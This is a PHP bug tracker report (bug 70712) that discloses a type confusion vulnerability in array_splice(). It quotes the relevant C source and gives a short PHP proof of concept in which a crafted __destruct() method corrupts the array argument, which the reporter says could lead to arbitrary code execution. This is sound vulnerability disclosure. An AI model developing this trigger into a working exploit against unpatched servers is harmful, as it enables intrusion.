Edit report at https://bugs.php.net/bug.php?id=70712&edit=1
ID: 70712
Updated by: nikic@php.net
Reported by: taoguangchen at icloud dot com
Summary: Type Confusion Vulnerability in array_splice()
-Status: Open
+Status: Verified
Type: Bug
Package: *General Issues
Operating System: *
PHP Version: Irrelevant
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2015-10-14 14:11:31] taoguangchen at icloud dot com
Description:
------------
Type Confusion Vulnerability in array_splice()
array.c
```
PHPAPI void php_splice(HashTable *ht, zend_uint offset, zend_uint length, zval ***list, zend_uint
list_count, HashTable *removed TSRMLS_DC) /* {{{ */
{
zend_hash_splice(ht, sizeof(zval *), (copy_ctor_func_t) zval_add_ref, offset, length, (void **)
list, list_count, removed);
...
PHP_FUNCTION(array_splice)
{
...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "al|lZ", &array, &offset,
&length, &repl_array) == FAILURE) {
return;
}
...
if (repl_array) {
/* Make sure the last argument, if passed, is an array */
convert_to_array_ex(repl_array);
...
/* Perform splice */
php_splice(Z_ARRVAL_P(array), offset, length, repl, repl_num, rem_hash TSRMLS_CC);
```
zend_hash.c
```
ZEND_API void _zend_hash_splice(HashTable *ht, uint nDataSize, copy_ctor_func_t pCopyConstructor,
uint offset, uint length, void **list, uint list_count, HashTable *removed ZEND_FILE_LINE_DC) /* {{{
*/
{
...
for (pos = 0, p = ht->pListHead; pos < offset && p; pos++, p = p->pListNext);
while (pos < offset + length && p) {
...
/* Remove element */
{
Bucket *p_next = p->pListNext;
zend_hash_bucket_delete(ht, p);
p = p_next;
}
```
a object-type ZVAL can be destroyed via the convert_to_array_ex(), so an attacker can set a
object-type &repl_array, then call to the object's crafted __destruct() magic method is
able to change &array into other-type ZVAL. this means an attacker will be able to create fake
HashTable and fake Bucket via the Z_ARRVAL_P macro with a integer-type ZVAL. this should result in
arbitrary code execution.
PoC:
```
class obj
{
function __destruct()
{
$GLOBALS['arr'] = 1;
}
}
$arr = array(1);
array_splice($arr, 0, 1, new obj);
```
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=70712&edit=1